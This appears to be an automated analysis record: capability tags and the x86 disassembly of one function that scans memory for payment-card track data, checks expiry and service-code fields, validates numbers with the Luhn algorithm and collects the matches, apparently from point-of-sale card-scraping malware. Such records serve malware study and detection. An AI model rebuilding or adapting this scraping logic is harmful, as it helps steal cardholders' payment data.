Function at 0x404e60
Capabilities:
Parse credit card information
Validate payment card number using luhn algorithm

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4209ef
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x30
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], ecx
mov edx, dword [ebx + 8]
xorps xmm0, xmm0
mov ecx, 0xf
mov dword [ebp - 0x1c], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x2c], 0
mov eax, dword [ebx + 0xc]
lea esi, [edx + 0xf]
add eax, 0xfffffff6
mov dword [ebp - 4], 0
add eax, edx
mov dword [ebp - 0x38], eax
cmp esi, eax
jae 0x4050c5
nop dword [eax + eax]
mov al, byte [esi]
cmp al, 0x3d
je 0x404eee
cmp al, 0x44
jne 0x4050b8
mov al, byte [esi - 0x10]
cmp al, 0x33
jne 0x404efe
mov dword [ebp - 0x30], 6
jmp 0x404f27
cmp al, 0x34
jne 0x404f0b
mov dword [ebp - 0x30], 8
jmp 0x404f27
cmp al, 0x35
jne 0x404f18
mov dword [ebp - 0x30], 1
jmp 0x404f27
cmp al, 0x36
jne 0x4050b8
mov dword [ebp - 0x30], 3
mov al, byte [esi + 1]
cmp al, 0x31
jb 0x4050b8
cmp al, 0x34
ja 0x4050b8
mov dl, byte [esi + 2]
cmp dl, 0x39
ja 0x4050b8
cmp dl, 0x30
jb 0x4050b8
movzx eax, al
lea ecx, [eax + eax*4]
movzx eax, dl
lea eax, [eax + ecx*2]
add eax, 0xfffffde3
cmp eax, 0x1b
ja 0x4050b8
mov al, byte [esi + 3]
cmp al, 0x39
ja 0x4050b8
cmp al, 0x30
jb 0x4050b8
mov dl, byte [esi + 4]
cmp dl, 0x39
ja 0x4050b8
cmp dl, 0x30
jb 0x4050b8
movzx eax, al
lea ecx, [eax + eax*4]
movzx eax, dl
lea eax, [eax + ecx*2]
add eax, 0xfffffdf0
je 0x4050b8
cmp eax, 0xc
ja 0x4050b8
cmp byte [esi + 6], 0x30
jne 0x4050b8
cmp byte [esi + 7], 0x31
jne 0x4050b8
mov al, byte [esi + 5]
cmp al, 0x32
je 0x404fd4
cmp al, 0x31
jne 0x4050b8
mov di, word [ebp - 0x30]
mov cl, 1
nop word [eax + eax]
movzx edx, cl
mov eax, esi
sub eax, edx
mov al, byte [eax]
sub al, 0x30
cmp al, 9
ja 0x4050b8
test dl, 1
jne 0x405000
add al, al
cmp al, 9
jbe 0x405000
add al, 0xf7
movzx eax, al
inc cl
add di, ax
cmp cl, 0xf
jbe 0x404fe0
xor edx, edx
movzx eax, di
mov ecx, 0xa
div ecx
test edx, edx
jne 0x4050b8
mov al, 8
movzx edi, al
add edi, esi
mov cl, byte [edi]
cmp cl, 0x39
ja 0x40503c
cmp cl, 0x30
jb 0x40503c
inc al
cmp al, 0x1e
jbe 0x405023
jmp 0x40504a
cmp al, 0xa
jbe 0x4050b8
cmp cl, 0x3f
jne 0x405046
inc edi
test edi, edi
jne 0x40504d
lea edi, [esi + 0x1f]
lea ecx, [esi - 0x10]
mov eax, edi
sub eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402fa0
mov eax, dword [0x42de68]
test eax, eax
jne 0x40508b
push 0x44c
call fcn.004094bf
add esp, 4
mov dword [ebp - 0x3c], eax
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.004054c0
mov byte [ebp - 4], 0
mov dword [0x42de68], eax
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x2c]
push esi
push ecx
mov ecx, eax
call fcn.00405c00
test al, al
je 0x4050b5
add esi, 0x20
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp - 0x34]
push esi
inc dword [eax + 0x18]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea esi, [edi + 0xf]
inc esi
cmp esi, dword [ebp - 0x38]
jb 0x404ee0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x4050f2
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4050e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405112
push ecx
push edx
call fcn.004094ef
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004094b1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 8
call fcn.00410479
int3